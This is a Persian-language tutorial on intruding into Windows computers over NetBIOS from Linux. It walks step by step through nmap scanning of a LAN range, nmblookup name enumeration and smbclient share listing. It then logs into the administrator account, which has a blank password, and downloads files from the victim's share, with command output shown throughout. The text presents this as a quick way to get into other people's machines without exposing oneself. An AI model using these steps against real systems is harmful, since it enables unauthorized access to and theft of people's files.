- Samba چیست؟
احتمالا میدونید که Netbios پرتکل معروف مایکروسافت برای ارتباط ویندوز ها با هم و احتمالا Share کردن پرینتر یا فایله. همچنین وقتی که بحث نفوذ به Client و بر بعضی مواقع Server ها پیش میاد، Netbios یکی از اولین انتخاب هاست. ما در این مقاله سعی میکنیم از این ضعف سیستم عاملهای مایکروسافت سوءاستفاده کنیم.
سیستم عاملهای بر پاییه یونیکس مثل لینوکس برای Share کردن فایلها و پرینتر ها از طریق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز میشه استفاده میکنن و از این طریق لینوکس میتونه Share های کامپیوتر های ویندوز رو Mount کنه. (اگه کاربر لینوکس هستید، نمیتونید روشهایی که در درس قبلی برای ویندوز ذکر شده استفاده کنید، بلکه باید از Samba بهره گیرید. اما طرف مقابل که قرار است هک بشه، سیستمعاملش رو فرض میکنیم که ویندوزه. پس ما میخوایم با لینوکس یک سیستمعامل ویندوز را که ۱۳۹ باز داره، هک کنیم) بی شک Netbios عمومی ترین مشکل امنیتی ویندوزه که استفاده ازش چندان مشکل نیست.
خب ! همون طور که گفتم ما برای این کار از Samba استفاده میکنیم. من اینجا چیزی در مورد Samba نمینویسم و بنا کار رو بر این میگذارم که تا حدودی میتونید با Samba کار کنید . اگر احتمالا مشکلی دارید میتونید به Samba.org سر بزنید و در Documention ها دنبال راهنما باشید :) به طور کل اگر نمیدونید چطور از Samba استفاده کنید بهتره که کاری با کامپیوتر های مردم نداشته باشید ! :)
- چگونه با پورت ۱۳۹ صحبت کنیم؟
۱- اولین قدم پیدا کردن کامپیوتریه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. برای اینکار از Nmap استفاده میکنیم. Nmap معمولا رو همه Description های فعلی پیدا میشه. میخوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدامها پورت ۱۳۹ باز دارند. برای این کار مینویسم:
# nmap -sS -O 192.168.3.1-50 -p 139و جواب میشنوم:
st 1 open and 1 closed TCP port Interesting ports on (192.168.3.2): Port State Service 139/tcp open netbios-ssn Remote OS guesses: Windows Millennium Edition (Me), Win 2000,باید اینو بهتون بگم که من دارم این کار رو روی Lan انجام میدم و همه Ip ها Static هستند. ولی خب کار رو جوری در نظر میگیرم که گویا نمیدونم چه Host های اینجا وجود دارن :) 192.168.3.1 یک SuSE 8 هست که کار رو از طریقش انجام میدیم و 192.168.3.2 یک win2kpro sp2 هست که قربانیه و البته FireWall نداره :) من اینجا از آیپی های کلاس C استفاده میکنم ممکنه وضع شما تو اینترنت فرق کنه، ولی خب نحوه کار تغییر نمیکنه. حالا هدف رو پیدا کردیم، هدف ما 192.168.3.2 هست .
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3
۲- قدم دوم گرفتن NetbiosName های هدفه. بدون این اسمها ما نمیتونیم هیچ جور اطلاعاتی از هدف بگیریم. از اونجایی که مایکروسافت سعی کرده همه کارها رو ساده کنه، ویندوز های رو شبکه Netbios به جای Ip Address از اسم استفاده میکنن!! خب اینجا لازمه از یه Netbios Scanner یا Share Scanner استفاده کنیم. معمولا رو هر Description یی دستور nmblookup پیدا میشه - که خیلی شبیه nbtstat ویندوزه - رو لینوکس کار میکنه. من شخصا خیلی از nmblookup خوشم نمیاد چون Share Scanner های بسیار بهتری هستن ! :) به هر صورت من اینجا از nmblookup استفاده میکنم . شکل کلی دستور اینه : nmblookup –A . این flag ه A باعث میشه که nmblookup بتونه Query بهتری انجام بده . حالا رو هدفهوم امتحان میکنیم :
# nmblookup –A 192.168.3.2و جواب میگیرم:
Looking up status of 192.168.3.2 ARMINLAPTOP <00> - B < ACTIVE> WORKGROUP <00> - < GROUP> B < ACTIVE> ARMINLAPTOP <03> - B < ACTIVE> ARMINLAPTOP <20> - B < ACTIVE> WORKGROUP <1e> - < GROUP> B < ACTIVE> ADMINISTRATOR <03> - B < ACTIVE> WORKGROUP <1d> - B < ACTIVE> ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>همه چیز مشخصه نه ؟ اسم کامپیوتر ARMINLAPTOP , گروه کامپیوتر WORKGROUP و کاربر فعال Administrator هست :)
۳- بگذارین قبل از قسمت سوم کار یکمی در مورد ویندوز ها صحبت کنیم. Netbios به طور کلی روی همه ویندوز ها به نوعی خطر ایجاد میکنه. رو ویندوز های سری 2000 به بالا همه پارتیشن های سیستم Share شده اند و با پسوردی که Administrator دارد، باز میشن. خیلی از کاربران تازه کار هم پسورد Administrator رو خالی میگذارن. به نظر من این سری ویندوز ها بیشتر در خطر هستند. رو ویندوز های 9x هیچ فایلی به طور Default Share نشده، ولی خوب اگر بشه ممکنه بتونیم از طریقش بدون پسورد وارد فایل سیستم بشیم :) حتی اگر پسورد Administrator رو هم نداشته باشیم Anonymous Login میتونه اطلاعات خیلی مفیدی بهموم بده :) حالا میخواهیم لیست Share ها رو بدست بیاوریم . ( در درس قبلی برای ویندوز از دستور net view برای همینکار استفاده کردیم) توجه کنید که کرنل باید Network File System و Samba File System رو ساپرت کرده باشه : در این مثال در نظر گرفتم که پسورد Administrator خالیه ! :) مینویسم:
# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2نتیجه دستور به صورت زیر است:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC D$ Disk Default share ADMIN$ Disk Remote Admin C$ Disk Default share Armin Disk Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب میبینید ؟ :) هر دو پارتیشن ARMINLAPTOP در اختیار شماست ! :) همچنین کامپیوتر هایی که باهاش در ارتباط هستند رو هم میبینیم. در این مثال ملاحظه میفرمایید که Armin به عنوان Disk بهاشتراک گذاشته شده. خب قبل از اینکه بریم سراغ بقیه کار یک بار هم Anonymous رو امتحان میکنیم ( یه چیزی مثل Null Session ):
# smbclient -LARMINLAPTOP -I 192.168.3.2و جواب:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Anonymous login successful Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- Error returning browse list: NT_STATUS_ACCESS_DENIED Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب باز هم یه اطلاعاتی پیدا میکنیم ! :) با اینکه فایلهای Share شده رو نمیبینیم، به هر صورت از هیچی بهتره ! شاید یه جای دیگه به درد بخوره !
۴- خب حالا سعی میکنیم که این Share هارو Mount کنیم. مینویسیم:
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2و جواب میشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: session setup failed: NT_STATUS_LOGON_FAILUREخب ! :) Share توسط Password محافظت میشه ! :) کار زیادی نمیتونیم انجام بدیم. مثلا میتونیم همین Null پسورد رو امتحان کنم، ولی خب اگر با Win9x طرف باشیم کاری نمیشه کرد . حالا رو ویندوز 2000 به بالا کار میکنیم. روی اینکه کاربر ناشی باشه و پسورد Administrator رو خالی گذاشته باشه خیلی حساب کردیم :
# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministratorو جواب میشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0 Password: Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] smb: >این </: smb مثل خط فرمان میمونه و میتونین دستورات رو تایپ کنید براش. کار تمومه! هر کاری که دوست داشته باشین میتونین با این راه رو هر Share ای انجام بدید :) مثلا مینویسم:
smb: > lsو جواب میشنوم:
. DA 0 Sat Feb 8 05:34:11 2003 .. DA 0 Sat Feb 8 05:34:11 2003 Blcorp D 0 Sat Feb 8 03:05:51 2003 47943 blocks of size 65536. 8261 blocks availableو ادامه میدم به صورت زیر:
smb: > cd Blcorp smb: Blcorp> ls . D 0 Sat Feb 8 03:05:51 2003 .. D 0 Sat Feb 8 03:05:51 2003 WLTrial.exe A 2321412 Mon Apr 29 14:18:58 2002 47943 blocks of size 65536. 8261 blocks available smb: Blcorp> get WLTrial.exe getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ... smb: Blcorp>شما میتونید از دستور Pull برای فرستادن فایل و get برای گرفتن فایل استفاده کنید :) فایلها گرفته شده در دایرکتوری فعلی شما ذخیره میشوند . قسمت امیدوار کننده کار اینه که خیلی از مردم از ویندوز استفاده میکنن و اکثرشون حتی نمیدونن که همه فایل سیستم هاشون بدون پسورد به راحتی قابل دسترسه. خب ما هم اینهارو یاد نمیگیریم که دور دنیا بچرخیم و فایلهای مردم رو پاک کنیم !
- FAQ
- آیا Samba به نا امنی Netbios ویندوز است ؟
نه اصلا ! Samba یک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسیار پایینه ! فرض کنید از طریق سیستمعامل ویندوز میخوام این کامپیوتری که Samba داره رو هک کنم. دستور تایپ شده و جواب بدست اومده بیانگر امنیت Samba ست:
C:>nbtstat -A 192.168.3.1 Local Area Connection 2: Node IpAddress: [192.168.3.2] Scope Id: [] Host not found- یک نفوذ بدون مشکل جدی چقدر طول میکشه ؟
موقع هک کردن Client باید سریع باشید ! کل این مراحل حداکثر 3 یا 4 دقیقه وقت میگیره , فقط نوشتنش طول میکشه! :)
- چرا هک کردن Netbios از طریق Unix/Linux راحت تر از Windows هست ؟
خب خیلی سریع تره، ابزارهای بهتر و از همه مهمتر اینکه خودتون در معرض خطر نیستید :)